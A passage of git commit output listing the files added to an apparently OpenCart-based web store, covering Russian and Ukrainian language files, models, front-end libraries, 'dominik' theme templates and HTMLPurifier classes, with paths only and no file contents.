create mode 100644 public/store/language/ru-ru/common/language.php
create mode 100644 public/store/language/ru-ru/common/maintenance.php
create mode 100644 public/store/language/ru-ru/common/menu.php
create mode 100644 public/store/language/ru-ru/common/search.php
create mode 100644 public/store/language/ru-ru/error/not_found.php
create mode 100644 public/store/language/ru-ru/extension/captcha/basic.php
create mode 100644 public/store/language/ru-ru/extension/captcha/google.php
create mode 100644 public/store/language/ru-ru/extension/module/account.php
create mode 100644 public/store/language/ru-ru/extension/module/affiliate.php
create mode 100644 public/store/language/ru-ru/extension/module/bestseller.php
create mode 100644 public/store/language/ru-ru/extension/module/blog_category.php
create mode 100644 public/store/language/ru-ru/extension/module/blog_featured.php
create mode 100644 public/store/language/ru-ru/extension/module/blog_latest.php
create mode 100644 public/store/language/ru-ru/extension/module/callback.php
create mode 100644 public/store/language/ru-ru/extension/module/category.php
create mode 100644 public/store/language/ru-ru/extension/module/ebay_listing.php
create mode 100644 public/store/language/ru-ru/extension/module/featured.php
create mode 100644 public/store/language/ru-ru/extension/module/featured_article.php
create mode 100644 public/store/language/ru-ru/extension/module/featured_product.php
create mode 100644 public/store/language/ru-ru/extension/module/filter.php
create mode 100644 public/store/language/ru-ru/extension/module/information.php
create mode 100644 public/store/language/ru-ru/extension/module/jljzflw.php
create mode 100644 public/store/language/ru-ru/extension/module/latest.php
create mode 100644 public/store/language/ru-ru/extension/module/lightshop_blog.php
create mode 100644 public/store/language/ru-ru/extension/module/lightshop_blog_mod.php
create mode 100644 public/store/language/ru-ru/extension/module/lightshop_news.php
create mode 100644 public/store/language/ru-ru/extension/module/lightshop_set.php
create mode 100644 public/store/language/ru-ru/extension/module/manufacturer.php
create mode 100644 public/store/language/ru-ru/extension/module/popular.php
create mode 100644 public/store/language/ru-ru/extension/module/special.php
create mode 100644 public/store/language/ru-ru/extension/module/store.php
create mode 100644 public/store/language/ru-ru/extension/module/subscribe.php
create mode 100644 public/store/language/ru-ru/extension/openbay/amazon_order.php
create mode 100644 public/store/language/ru-ru/extension/openbay/amazonus_order.php
create mode 100644 public/store/language/ru-ru/extension/openbay/ebay_order.php
create mode 100644 public/store/language/ru-ru/extension/openbay/etsy_order.php
create mode 100644 public/store/language/ru-ru/extension/payment/cod.php
create mode 100644 public/store/language/ru-ru/extension/shipping/flat.php
create mode 100644 public/store/language/ru-ru/extension/theme/lightshop.php
create mode 100644 public/store/language/ru-ru/extension/total/coupon.php
create mode 100644 public/store/language/ru-ru/extension/total/credit.php
create mode 100644 public/store/language/ru-ru/extension/total/handling.php
create mode 100644 public/store/language/ru-ru/extension/total/lightshopsets.php
create mode 100644 public/store/language/ru-ru/extension/total/low_order_fee.php
create mode 100644 public/store/language/ru-ru/extension/total/reward.php
create mode 100644 public/store/language/ru-ru/extension/total/shipping.php
create mode 100644 public/store/language/ru-ru/extension/total/sub_total.php
create mode 100644 public/store/language/ru-ru/extension/total/total.php
create mode 100644 public/store/language/ru-ru/extension/total/voucher.php
create mode 100644 public/store/language/ru-ru/information/contact.php
create mode 100644 public/store/language/ru-ru/information/information.php
create mode 100644 public/store/language/ru-ru/information/sitemap.php
create mode 100644 public/store/language/ru-ru/mail/affiliate.php
create mode 100644 public/store/language/ru-ru/mail/forgotten.php
create mode 100644 public/store/language/ru-ru/mail/order_add.php
create mode 100644 public/store/language/ru-ru/mail/order_alert.php
create mode 100644 public/store/language/ru-ru/mail/order_edit.php
create mode 100644 public/store/language/ru-ru/mail/register.php
create mode 100644 public/store/language/ru-ru/mail/review.php
create mode 100644 public/store/language/ru-ru/mail/transaction.php
create mode 100644 public/store/language/ru-ru/mail/voucher.php
create mode 100644 public/store/language/ru-ru/product/bestseller.php
create mode 100644 public/store/language/ru-ru/product/category.php
create mode 100644 public/store/language/ru-ru/product/compare.php
create mode 100644 public/store/language/ru-ru/product/latest.php
create mode 100644 public/store/language/ru-ru/product/manufacturer.php
create mode 100644 public/store/language/ru-ru/product/mostviewed.php
create mode 100644 public/store/language/ru-ru/product/product.php
create mode 100644 public/store/language/ru-ru/product/search.php
create mode 100644 public/store/language/ru-ru/product/special.php
create mode 100644 public/store/language/ru-ru/ru-ru.php
create mode 100644 public/store/language/ru-ru/ru-ru.png
create mode 100644 public/store/language/ru-ru/service/service.php
create mode 100644 public/store/language/ru-ru/tool/upload.php
create mode 100644 public/store/language/uk-ua/extension/module/callback.php
create mode 100644 public/store/language/uk-ua/extension/module/lightshop_blog.php
create mode 100644 public/store/language/uk-ua/extension/module/lightshop_blog_mod.php
create mode 100644 public/store/language/uk-ua/extension/module/lightshop_news.php
create mode 100644 public/store/language/uk-ua/extension/module/lightshop_set.php
create mode 100644 public/store/language/uk-ua/extension/module/subscribe.php
create mode 100644 public/store/language/uk-ua/extension/theme/lightshop.php
create mode 100644 public/store/language/uk-ua/extension/total/lightshopsets.php
create mode 100644 public/store/model/account/activity.php
create mode 100644 public/store/model/account/address.php
create mode 100644 public/store/model/account/api.php
create mode 100644 public/store/model/account/custom_field.php
create mode 100644 public/store/model/account/customer.php
create mode 100644 public/store/model/account/customer_group.php
create mode 100644 public/store/model/account/download.php
create mode 100644 public/store/model/account/order.php
create mode 100644 public/store/model/account/recurring.php
create mode 100644 public/store/model/account/return.php
create mode 100644 public/store/model/account/reward.php
create mode 100644 public/store/model/account/search.php
create mode 100644 public/store/model/account/transaction.php
create mode 100644 public/store/model/account/wishlist.php
create mode 100644 public/store/model/blog/article.php
create mode 100644 public/store/model/blog/category.php
create mode 100644 public/store/model/blog/review.php
create mode 100644 public/store/model/catalog/category.php
create mode 100644 public/store/model/catalog/cms.php
create mode 100644 public/store/model/catalog/information.php
create mode 100644 public/store/model/catalog/manufacturer.php
create mode 100644 public/store/model/catalog/product.php
create mode 100644 public/store/model/catalog/review.php
create mode 100644 public/store/model/checkout/marketing.php
create mode 100644 public/store/model/checkout/order.php
create mode 100644 public/store/model/checkout/recurring.php
create mode 100644 public/store/model/design/banner.php
create mode 100644 public/store/model/design/layout.php
create mode 100644 public/store/model/design/theme.php
create mode 100644 public/store/model/design/translation.php
create mode 100644 public/store/model/extension/advertise/google.php
create mode 100644 public/store/model/extension/feed/google_base.php
create mode 100644 public/store/model/extension/feed/yandex_market.php
create mode 100644 public/store/model/extension/feed/yandex_turbo.php
create mode 100644 public/store/model/extension/fraud/fraudlabspro.php
create mode 100644 public/store/model/extension/fraud/ip.php
create mode 100644 public/store/model/extension/fraud/maxmind.php
create mode 100644 public/store/model/extension/module/callback.php
create mode 100644 public/store/model/extension/module/lbcomment.php
create mode 100644 public/store/model/extension/module/lightshop.php
create mode 100644 public/store/model/extension/module/lightshopblog.php
create mode 100644 public/store/model/extension/module/lightshopcatblog.php
create mode 100644 public/store/model/extension/module/lightshopnews.php
create mode 100644 public/store/model/extension/module/lightshopsubscribe.php
create mode 100644 public/store/model/extension/payment/cod.php
create mode 100644 public/store/model/extension/shipping/flat.php
create mode 100644 public/store/model/extension/total/coupon.php
create mode 100644 public/store/model/extension/total/credit.php
create mode 100644 public/store/model/extension/total/handling.php
create mode 100644 public/store/model/extension/total/lightshopsets.php
create mode 100644 public/store/model/extension/total/low_order_fee.php
create mode 100644 public/store/model/extension/total/reward.php
create mode 100644 public/store/model/extension/total/shipping.php
create mode 100644 public/store/model/extension/total/sub_total.php
create mode 100644 public/store/model/extension/total/tax.php
create mode 100644 public/store/model/extension/total/total.php
create mode 100644 public/store/model/extension/total/voucher.php
create mode 100644 public/store/model/extension/total/voucher_theme.php
create mode 100644 public/store/model/localisation/country.php
create mode 100644 public/store/model/localisation/currency.php
create mode 100644 public/store/model/localisation/language.php
create mode 100644 public/store/model/localisation/location.php
create mode 100644 public/store/model/localisation/order_status.php
create mode 100644 public/store/model/localisation/return_reason.php
create mode 100644 public/store/model/localisation/zone.php
create mode 100644 public/store/model/report/statistics.php
create mode 100644 public/store/model/service/service.php
create mode 100644 public/store/model/setting/api.php
create mode 100644 public/store/model/setting/event.php
create mode 100644 public/store/model/setting/extension.php
create mode 100644 public/store/model/setting/module.php
create mode 100644 public/store/model/setting/setting.php
create mode 100644 public/store/model/setting/store.php
create mode 100644 public/store/model/tool/image.php
create mode 100644 public/store/model/tool/online.php
create mode 100644 public/store/model/tool/sitemap.php
create mode 100644 public/store/model/tool/upload.php
create mode 100644 public/store/view/javascript/bootstrap/css/bootstrap-theme.css
create mode 100644 public/store/view/javascript/bootstrap/css/bootstrap-theme.css.map
create mode 100644 public/store/view/javascript/bootstrap/css/bootstrap-theme.min.css
create mode 100644 public/store/view/javascript/bootstrap/css/bootstrap.css
create mode 100644 public/store/view/javascript/bootstrap/css/bootstrap.css.map
create mode 100644 public/store/view/javascript/bootstrap/css/bootstrap.min.css
create mode 100644 public/store/view/javascript/bootstrap/fonts/glyphicons-halflings-regular.eot
create mode 100644 public/store/view/javascript/bootstrap/fonts/glyphicons-halflings-regular.svg
create mode 100644 public/store/view/javascript/bootstrap/fonts/glyphicons-halflings-regular.ttf
create mode 100644 public/store/view/javascript/bootstrap/fonts/glyphicons-halflings-regular.woff
create mode 100644 public/store/view/javascript/bootstrap/fonts/glyphicons-halflings-regular.woff2
create mode 100644 public/store/view/javascript/bootstrap/js/bootstrap.js
create mode 100644 public/store/view/javascript/bootstrap/js/bootstrap.min.js
create mode 100644 public/store/view/javascript/bootstrap/js/npm.js
create mode 100644 public/store/view/javascript/common.js
create mode 100644 public/store/view/javascript/font-awesome/css/font-awesome.css
create mode 100644 public/store/view/javascript/font-awesome/css/font-awesome.min.css
create mode 100644 public/store/view/javascript/font-awesome/fonts/FontAwesome.otf
create mode 100644 public/store/view/javascript/font-awesome/fonts/fontawesome-webfont.eot
create mode 100644 public/store/view/javascript/font-awesome/fonts/fontawesome-webfont.svg
create mode 100644 public/store/view/javascript/font-awesome/fonts/fontawesome-webfont.ttf
create mode 100644 public/store/view/javascript/font-awesome/fonts/fontawesome-webfont.woff
create mode 100644 public/store/view/javascript/font-awesome/fonts/fontawesome-webfont.woff2
create mode 100644 public/store/view/javascript/font-awesome/less/animated.less
create mode 100644 public/store/view/javascript/font-awesome/less/bordered-pulled.less
create mode 100644 public/store/view/javascript/font-awesome/less/core.less
create mode 100644 public/store/view/javascript/font-awesome/less/fixed-width.less
create mode 100644 public/store/view/javascript/font-awesome/less/font-awesome.less
create mode 100644 public/store/view/javascript/font-awesome/less/icons.less
create mode 100644 public/store/view/javascript/font-awesome/less/larger.less
create mode 100644 public/store/view/javascript/font-awesome/less/list.less
create mode 100644 public/store/view/javascript/font-awesome/less/mixins.less
create mode 100644 public/store/view/javascript/font-awesome/less/path.less
create mode 100644 public/store/view/javascript/font-awesome/less/rotated-flipped.less
create mode 100644 public/store/view/javascript/font-awesome/less/screen-reader.less
create mode 100644 public/store/view/javascript/font-awesome/less/stacked.less
create mode 100644 public/store/view/javascript/font-awesome/less/variables.less
create mode 100644 public/store/view/javascript/font-awesome/scss/_animated.scss
create mode 100644 public/store/view/javascript/font-awesome/scss/_bordered-pulled.scss
create mode 100644 public/store/view/javascript/font-awesome/scss/_core.scss
create mode 100644 public/store/view/javascript/font-awesome/scss/_fixed-width.scss
create mode 100644 public/store/view/javascript/font-awesome/scss/_icons.scss
create mode 100644 public/store/view/javascript/font-awesome/scss/_larger.scss
create mode 100644 public/store/view/javascript/font-awesome/scss/_list.scss
create mode 100644 public/store/view/javascript/font-awesome/scss/_mixins.scss
create mode 100644 public/store/view/javascript/font-awesome/scss/_path.scss
create mode 100644 public/store/view/javascript/font-awesome/scss/_rotated-flipped.scss
create mode 100644 public/store/view/javascript/font-awesome/scss/_screen-reader.scss
create mode 100644 public/store/view/javascript/font-awesome/scss/_stacked.scss
create mode 100644 public/store/view/javascript/font-awesome/scss/_variables.scss
create mode 100644 public/store/view/javascript/font-awesome/scss/font-awesome.scss
create mode 100644 public/store/view/javascript/jquery/datetimepicker/bootstrap-datetimepicker.min.css
create mode 100644 public/store/view/javascript/jquery/datetimepicker/bootstrap-datetimepicker.min.js
create mode 100644 public/store/view/javascript/jquery/datetimepicker/moment/locales.js
create mode 100644 public/store/view/javascript/jquery/datetimepicker/moment/locales.min.js
create mode 100644 public/store/view/javascript/jquery/datetimepicker/moment/moment-with-locales.js
create mode 100644 public/store/view/javascript/jquery/datetimepicker/moment/moment-with-locales.min.js
create mode 100644 public/store/view/javascript/jquery/datetimepicker/moment/moment.min.js
create mode 100644 public/store/view/javascript/jquery/datetimepicker/moment/tests.js
create mode 100644 public/store/view/javascript/jquery/jquery-2.1.1.min.js
create mode 100644 public/store/view/javascript/jquery/jquery-2.1.1.min.map
create mode 100644 public/store/view/javascript/jquery/magnific/jquery.magnific-popup.min.js
create mode 100644 public/store/view/javascript/jquery/magnific/magnific-popup.css
create mode 100644 public/store/view/javascript/jquery/swiper/css/opencart.css
create mode 100644 public/store/view/javascript/jquery/swiper/css/swiper.css
create mode 100644 public/store/view/javascript/jquery/swiper/css/swiper.min.css
create mode 100644 public/store/view/javascript/jquery/swiper/js/maps/swiper.jquery.min.js.map
create mode 100644 public/store/view/javascript/jquery/swiper/js/maps/swiper.jquery.umd.min.js.map
create mode 100644 public/store/view/javascript/jquery/swiper/js/maps/swiper.min.js.map
create mode 100644 public/store/view/javascript/jquery/swiper/js/swiper.jquery.js
create mode 100644 public/store/view/javascript/jquery/swiper/js/swiper.jquery.min.js
create mode 100644 public/store/view/javascript/jquery/swiper/js/swiper.jquery.umd.js
create mode 100644 public/store/view/javascript/jquery/swiper/js/swiper.jquery.umd.min.js
create mode 100644 public/store/view/javascript/jquery/swiper/js/swiper.js
create mode 100644 public/store/view/javascript/jquery/swiper/js/swiper.min.js
create mode 100644 public/store/view/javascript/qrcode.js
create mode 100644 public/store/view/javascript/theme_lightshop/bootstrap.min.js
create mode 100644 public/store/view/javascript/theme_lightshop/fontawesome/js/all.js
create mode 100644 public/store/view/javascript/theme_lightshop/fontawesome/js/all.min.js
create mode 100644 public/store/view/javascript/theme_lightshop/fontawesome/js/brands.js
create mode 100644 public/store/view/javascript/theme_lightshop/fontawesome/js/brands.min.js
create mode 100644 public/store/view/javascript/theme_lightshop/fontawesome/js/conflict-detection.js
create mode 100644 public/store/view/javascript/theme_lightshop/fontawesome/js/conflict-detection.min.js
create mode 100644 public/store/view/javascript/theme_lightshop/fontawesome/js/fontawesome.js
create mode 100644 public/store/view/javascript/theme_lightshop/fontawesome/js/fontawesome.min.js
create mode 100644 public/store/view/javascript/theme_lightshop/fontawesome/js/regular.js
create mode 100644 public/store/view/javascript/theme_lightshop/fontawesome/js/regular.min.js
create mode 100644 public/store/view/javascript/theme_lightshop/fontawesome/js/solid.js
create mode 100644 public/store/view/javascript/theme_lightshop/fontawesome/js/solid.min.js
create mode 100644 public/store/view/javascript/theme_lightshop/fontawesome/js/v4-shims.js
create mode 100644 public/store/view/javascript/theme_lightshop/fontawesome/js/v4-shims.min.js
create mode 100644 public/store/view/javascript/theme_lightshop/functions.js
create mode 100644 public/store/view/javascript/theme_lightshop/functions.min.js
create mode 100644 public/store/view/javascript/theme_lightshop/jquery-2.2.4.min.js
create mode 100644 public/store/view/javascript/theme_lightshop/jquery-ui.min.js
create mode 100644 public/store/view/javascript/theme_lightshop/jquery.lazyload.js
create mode 100644 public/store/view/javascript/theme_lightshop/widgets.js
create mode 100644 public/store/view/theme/dominik/assets/css/banners.css
create mode 100644 public/store/view/theme/dominik/assets/css/bootstrap.min.css
create mode 100644 public/store/view/theme/dominik/assets/css/bootstrap.min.css.map
create mode 100644 public/store/view/theme/dominik/assets/css/main.css
create mode 100644 public/store/view/theme/dominik/assets/css/slideshow.css
create mode 100644 public/store/view/theme/dominik/assets/css/swiper-bundle.min.css
create mode 100644 public/store/view/theme/dominik/assets/css/zoomove.min.css
create mode 100644 public/store/view/theme/dominik/assets/js/bootstrap.bundle.min.js
create mode 100644 public/store/view/theme/dominik/assets/js/bootstrap.bundle.min.js.map
create mode 100644 public/store/view/theme/dominik/assets/js/jquery-3.6.3.min.js
create mode 100644 public/store/view/theme/dominik/assets/js/script.js
create mode 100644 public/store/view/theme/dominik/assets/js/swiper-bundle.js
create mode 100644 public/store/view/theme/dominik/assets/js/swiper-bundle.js.map
create mode 100644 public/store/view/theme/dominik/assets/js/zoomove.min.js
create mode 100644 public/store/view/theme/dominik/image/dominik.png
create mode 100644 public/store/view/theme/dominik/template/account/account.twig
create mode 100644 public/store/view/theme/dominik/template/account/address_form.twig
create mode 100644 public/store/view/theme/dominik/template/account/address_list.twig
create mode 100644 public/store/view/theme/dominik/template/account/affiliate.twig
create mode 100644 public/store/view/theme/dominik/template/account/download.twig
create mode 100644 public/store/view/theme/dominik/template/account/edit.twig
create mode 100644 public/store/view/theme/dominik/template/account/forgotten.twig
create mode 100644 public/store/view/theme/dominik/template/account/login.twig
create mode 100644 public/store/view/theme/dominik/template/account/newsletter.twig
create mode 100644 public/store/view/theme/dominik/template/account/order_info.twig
create mode 100644 public/store/view/theme/dominik/template/account/order_list.twig
create mode 100644 public/store/view/theme/dominik/template/account/password.twig
create mode 100644 public/store/view/theme/dominik/template/account/recurring_info.twig
create mode 100644 public/store/view/theme/dominik/template/account/recurring_list.twig
create mode 100644 public/store/view/theme/dominik/template/account/register.twig
create mode 100644 public/store/view/theme/dominik/template/account/reset.twig
create mode 100644 public/store/view/theme/dominik/template/account/return_form.twig
create mode 100644 public/store/view/theme/dominik/template/account/return_info.twig
create mode 100644 public/store/view/theme/dominik/template/account/return_list.twig
create mode 100644 public/store/view/theme/dominik/template/account/reward.twig
create mode 100644 public/store/view/theme/dominik/template/account/tracking.twig
create mode 100644 public/store/view/theme/dominik/template/account/transaction.twig
create mode 100644 public/store/view/theme/dominik/template/account/voucher.twig
create mode 100644 public/store/view/theme/dominik/template/account/wishlist.twig
create mode 100644 public/store/view/theme/dominik/template/affiliate/login.twig
create mode 100644 public/store/view/theme/dominik/template/affiliate/register.twig
create mode 100644 public/store/view/theme/dominik/template/blog/article.twig
create mode 100644 public/store/view/theme/dominik/template/blog/category.twig
create mode 100644 public/store/view/theme/dominik/template/blog/latest.twig
create mode 100644 public/store/view/theme/dominik/template/blog/menu.twig
create mode 100644 public/store/view/theme/dominik/template/blog/review.twig
create mode 100644 public/store/view/theme/dominik/template/checkout/cart.twig
create mode 100644 public/store/view/theme/dominik/template/checkout/checkout.twig
create mode 100644 public/store/view/theme/dominik/template/checkout/confirm.twig
create mode 100644 public/store/view/theme/dominik/template/checkout/guest.twig
create mode 100644 public/store/view/theme/dominik/template/checkout/guest_shipping.twig
create mode 100644 public/store/view/theme/dominik/template/checkout/login.twig
create mode 100644 public/store/view/theme/dominik/template/checkout/payment_address.twig
create mode 100644 public/store/view/theme/dominik/template/checkout/payment_method.twig
create mode 100644 public/store/view/theme/dominik/template/checkout/register.twig
create mode 100644 public/store/view/theme/dominik/template/checkout/shipping_address.twig
create mode 100644 public/store/view/theme/dominik/template/checkout/shipping_method.twig
create mode 100644 public/store/view/theme/dominik/template/common/cart.twig
create mode 100644 public/store/view/theme/dominik/template/common/column_left.twig
create mode 100644 public/store/view/theme/dominik/template/common/column_right.twig
create mode 100644 public/store/view/theme/dominik/template/common/content_bottom.twig
create mode 100644 public/store/view/theme/dominik/template/common/content_top.twig
create mode 100644 public/store/view/theme/dominik/template/common/currency.twig
create mode 100644 public/store/view/theme/dominik/template/common/footer.twig
create mode 100644 public/store/view/theme/dominik/template/common/header.twig
create mode 100644 public/store/view/theme/dominik/template/common/home.twig
create mode 100644 public/store/view/theme/dominik/template/common/language.twig
create mode 100644 public/store/view/theme/dominik/template/common/maintenance.twig
create mode 100644 public/store/view/theme/dominik/template/common/menu.twig
create mode 100644 public/store/view/theme/dominik/template/common/product.twig
create mode 100644 public/store/view/theme/dominik/template/common/search.twig
create mode 100644 public/store/view/theme/dominik/template/common/success.twig
create mode 100644 public/store/view/theme/dominik/template/error/not_found.twig
create mode 100644 public/store/view/theme/dominik/template/extension/advertise/google_dynamic_remarketing_cart.twig
create mode 100644 public/store/view/theme/dominik/template/extension/advertise/google_dynamic_remarketing_category.twig
create mode 100644 public/store/view/theme/dominik/template/extension/advertise/google_dynamic_remarketing_home.twig
create mode 100644 public/store/view/theme/dominik/template/extension/advertise/google_dynamic_remarketing_product.twig
create mode 100644 public/store/view/theme/dominik/template/extension/advertise/google_dynamic_remarketing_purchase.twig
create mode 100644 public/store/view/theme/dominik/template/extension/advertise/google_dynamic_remarketing_searchresults.twig
create mode 100644 public/store/view/theme/dominik/template/extension/captcha/basic.twig
create mode 100644 public/store/view/theme/dominik/template/extension/captcha/google.twig
create mode 100644 public/store/view/theme/dominik/template/extension/module/account.twig
create mode 100644 public/store/view/theme/dominik/template/extension/module/banner.twig
create mode 100644 public/store/view/theme/dominik/template/extension/module/bestseller.twig
create mode 100644 public/store/view/theme/dominik/template/extension/module/bestseller_column.twig
create mode 100644 public/store/view/theme/dominik/template/extension/module/blog_category.twig
create mode 100644 public/store/view/theme/dominik/template/extension/module/blog_featured.twig
create mode 100644 public/store/view/theme/dominik/template/extension/module/blog_latest.twig
create mode 100644 public/store/view/theme/dominik/template/extension/module/carousel.twig
create mode 100644 public/store/view/theme/dominik/template/extension/module/category.twig
create mode 100644 public/store/view/theme/dominik/template/extension/module/ebay_listing.twig
create mode 100644 public/store/view/theme/dominik/template/extension/module/featured.twig
create mode 100644 public/store/view/theme/dominik/template/extension/module/featured_article.twig
create mode 100644 public/store/view/theme/dominik/template/extension/module/featured_column.twig
create mode 100644 public/store/view/theme/dominik/template/extension/module/featured_product.twig
create mode 100644 public/store/view/theme/dominik/template/extension/module/filter.twig
create mode 100644 public/store/view/theme/dominik/template/extension/module/html.twig
create mode 100644 public/store/view/theme/dominik/template/extension/module/information.twig
create mode 100644 public/store/view/theme/dominik/template/extension/module/latest.twig
create mode 100644 public/store/view/theme/dominik/template/extension/module/latest_column.twig
create mode 100644 public/store/view/theme/dominik/template/extension/module/slideshow.twig
create mode 100644 public/store/view/theme/dominik/template/extension/module/special.twig
create mode 100644 public/store/view/theme/dominik/template/extension/module/special_column.twig
create mode 100644 public/store/view/theme/dominik/template/extension/module/store.twig
create mode 100644 public/store/view/theme/dominik/template/extension/module/subcategory.twig
create mode 100644 public/store/view/theme/dominik/template/extension/module/wd_banners.twig
create mode 100644 public/store/view/theme/dominik/template/extension/module/wd_banners_alt.twig
create mode 100644 public/store/view/theme/dominik/template/extension/module/wd_prems.twig
create mode 100644 public/store/view/theme/dominik/template/extension/module/wd_services.twig
create mode 100644 public/store/view/theme/dominik/template/extension/module/wd_slideshow.twig
create mode 100644 public/store/view/theme/dominik/template/extension/module/wd_steps.twig
create mode 100644 public/store/view/theme/dominik/template/extension/payment/cod.twig
create mode 100644 public/store/view/theme/dominik/template/extension/total/coupon.twig
create mode 100644 public/store/view/theme/dominik/template/extension/total/reward.twig
create mode 100644 public/store/view/theme/dominik/template/extension/total/shipping.twig
create mode 100644 public/store/view/theme/dominik/template/extension/total/voucher.twig
create mode 100644 public/store/view/theme/dominik/template/information/contact.twig
create mode 100644 public/store/view/theme/dominik/template/information/information.twig
create mode 100644 public/store/view/theme/dominik/template/information/sitemap.twig
create mode 100644 public/store/view/theme/dominik/template/mail/affiliate.twig
create mode 100644 public/store/view/theme/dominik/template/mail/affiliate_alert.twig
create mode 100644 public/store/view/theme/dominik/template/mail/forgotten.twig
create mode 100644 public/store/view/theme/dominik/template/mail/order_add.twig
create mode 100644 public/store/view/theme/dominik/template/mail/order_alert.twig
create mode 100644 public/store/view/theme/dominik/template/mail/order_edit.twig
create mode 100644 public/store/view/theme/dominik/template/mail/register.twig
create mode 100644 public/store/view/theme/dominik/template/mail/register_alert.twig
create mode 100644 public/store/view/theme/dominik/template/mail/request.twig
create mode 100644 public/store/view/theme/dominik/template/mail/transaction.twig
create mode 100644 public/store/view/theme/dominik/template/mail/voucher.twig
create mode 100644 public/store/view/theme/dominik/template/product/category.twig
create mode 100644 public/store/view/theme/dominik/template/product/compare.twig
create mode 100644 public/store/view/theme/dominik/template/product/manufacturer_info.twig
create mode 100644 public/store/view/theme/dominik/template/product/manufacturer_list.twig
create mode 100644 public/store/view/theme/dominik/template/product/product.twig
create mode 100644 public/store/view/theme/dominik/template/product/review.twig
create mode 100644 public/store/view/theme/dominik/template/product/search.twig
create mode 100644 public/store/view/theme/dominik/template/product/special.twig
create mode 100644 public/store/view/theme/dominik/template/service/service.twig
create mode 100644 public/store/view/theme/dominik/template/service/service_list.twig
create mode 100644 public/system/.htaccess
create mode 100644 public/system/config/admin.php
create mode 100644 public/system/config/catalog.php
create mode 100644 public/system/config/default.php
create mode 100644 public/system/config/googleshopping/googleshopping.php
create mode 100644 public/system/config/index.html
create mode 100644 public/system/config/install.php
create mode 100644 public/system/engine/action.php
create mode 100644 public/system/engine/controller.php
create mode 100644 public/system/engine/event.php
create mode 100644 public/system/engine/loader.php
create mode 100644 public/system/engine/model.php
create mode 100644 public/system/engine/proxy.php
create mode 100644 public/system/engine/registry.php
create mode 100644 public/system/engine/router.php
create mode 100644 public/system/framework.php
create mode 100644 public/system/helper/HTMLPurifier.php
create mode 100644 public/system/helper/HTMLPurifier/Arborize.php
create mode 100644 public/system/helper/HTMLPurifier/AttrCollections.php
create mode 100644 public/system/helper/HTMLPurifier/AttrDef.php
create mode 100644 public/system/helper/HTMLPurifier/AttrDef/CSS.php
create mode 100644 public/system/helper/HTMLPurifier/AttrDef/CSS/AlphaValue.php
create mode 100644 public/system/helper/HTMLPurifier/AttrDef/CSS/Background.php
create mode 100644 public/system/helper/HTMLPurifier/AttrDef/CSS/BackgroundPosition.php
create mode 100644 public/system/helper/HTMLPurifier/AttrDef/CSS/Border.php
create mode 100644 public/system/helper/HTMLPurifier/AttrDef/CSS/Color.php
create mode 100644 public/system/helper/HTMLPurifier/AttrDef/CSS/Composite.php
create mode 100644 public/system/helper/HTMLPurifier/AttrDef/CSS/DenyElementDecorator.php
create mode 100644 public/system/helper/HTMLPurifier/AttrDef/CSS/Filter.php
create mode 100644 public/system/helper/HTMLPurifier/AttrDef/CSS/Font.php
create mode 100644 public/system/helper/HTMLPurifier/AttrDef/CSS/FontFamily.php
create mode 100644 public/system/helper/HTMLPurifier/AttrDef/CSS/Ident.php
create mode 100644 public/system/helper/HTMLPurifier/AttrDef/CSS/ImportantDecorator.php
create mode 100644 public/system/helper/HTMLPurifier/AttrDef/CSS/Length.php
create mode 100644 public/system/helper/HTMLPurifier/AttrDef/CSS/ListStyle.php
create mode 100644 public/system/helper/HTMLPurifier/AttrDef/CSS/Multiple.php
create mode 100644 public/system/helper/HTMLPurifier/AttrDef/CSS/Number.php
create mode 100644 public/system/helper/HTMLPurifier/AttrDef/CSS/Percentage.php
create mode 100644 public/system/helper/HTMLPurifier/AttrDef/CSS/TextDecoration.php
create mode 100644 public/system/helper/HTMLPurifier/AttrDef/CSS/URI.php
create mode 100644 public/system/helper/HTMLPurifier/AttrDef/Clone.php
create mode 100644 public/system/helper/HTMLPurifier/AttrDef/Enum.php
create mode 100644 public/system/helper/HTMLPurifier/AttrDef/HTML/Bool.php
create mode 100644 public/system/helper/HTMLPurifier/AttrDef/HTML/Class.php
create mode 100644 public/system/helper/HTMLPurifier/AttrDef/HTML/Color.php
create mode 100644 public/system/helper/HTMLPurifier/AttrDef/HTML/FrameTarget.php
create mode 100644 public/system/helper/HTMLPurifier/AttrDef/HTML/ID.php
create mode 100644 public/system/helper/HTMLPurifier/AttrDef/HTML/Length.php
create mode 100644 public/system/helper/HTMLPurifier/AttrDef/HTML/LinkTypes.php
create mode 100644 public/system/helper/HTMLPurifier/AttrDef/HTML/MultiLength.php
create mode 100644 public/system/helper/HTMLPurifier/AttrDef/HTML/Nmtokens.php
create mode 100644 public/system/helper/HTMLPurifier/AttrDef/HTML/Pixels.php
create mode 100644 public/system/helper/HTMLPurifier/AttrDef/Integer.php
create mode 100644 public/system/helper/HTMLPurifier/AttrDef/Lang.php
create mode 100644 public/system/helper/HTMLPurifier/AttrDef/Switch.php
create mode 100644 public/system/helper/HTMLPurifier/AttrDef/Text.php
create mode 100644 public/system/helper/HTMLPurifier/AttrDef/URI.php
create mode 100644 public/system/helper/HTMLPurifier/AttrDef/URI/Email.php
create mode 100644 public/system/helper/HTMLPurifier/AttrDef/URI/Email/SimpleCheck.php
create mode 100644 public/system/helper/HTMLPurifier/AttrDef/URI/Host.php
create mode 100644 public/system/helper/HTMLPurifier/AttrDef/URI/IPv4.php
create mode 100644 public/system/helper/HTMLPurifier/AttrDef/URI/IPv6.php
create mode 100644 public/system/helper/HTMLPurifier/AttrTransform.php
create mode 100644 public/system/helper/HTMLPurifier/AttrTransform/Background.php
create mode 100644 public/system/helper/HTMLPurifier/AttrTransform/BdoDir.php
create mode 100644 public/system/helper/HTMLPurifier/AttrTransform/BgColor.php
create mode 100644 public/system/helper/HTMLPurifier/AttrTransform/BoolToCSS.php
create mode 100644 public/system/helper/HTMLPurifier/AttrTransform/Border.php
create mode 100644 public/system/helper/HTMLPurifier/AttrTransform/EnumToCSS.php
create mode 100644 public/system/helper/HTMLPurifier/AttrTransform/ImgRequired.php
create mode 100644 public/system/helper/HTMLPurifier/AttrTransform/ImgSpace.php
create mode 100644 public/system/helper/HTMLPurifier/AttrTransform/Input.php
create mode 100644 public/system/helper/HTMLPurifier/AttrTransform/Lang.php
create mode 100644 public/system/helper/HTMLPurifier/AttrTransform/Length.php
create mode 100644 public/system/helper/HTMLPurifier/AttrTransform/Name.php
create mode 100644 public/system/helper/HTMLPurifier/AttrTransform/NameSync.php
create mode 100644 public/system/helper/HTMLPurifier/AttrTransform/Nofollow.php
create mode 100644 public/system/helper/HTMLPurifier/AttrTransform/SafeEmbed.php
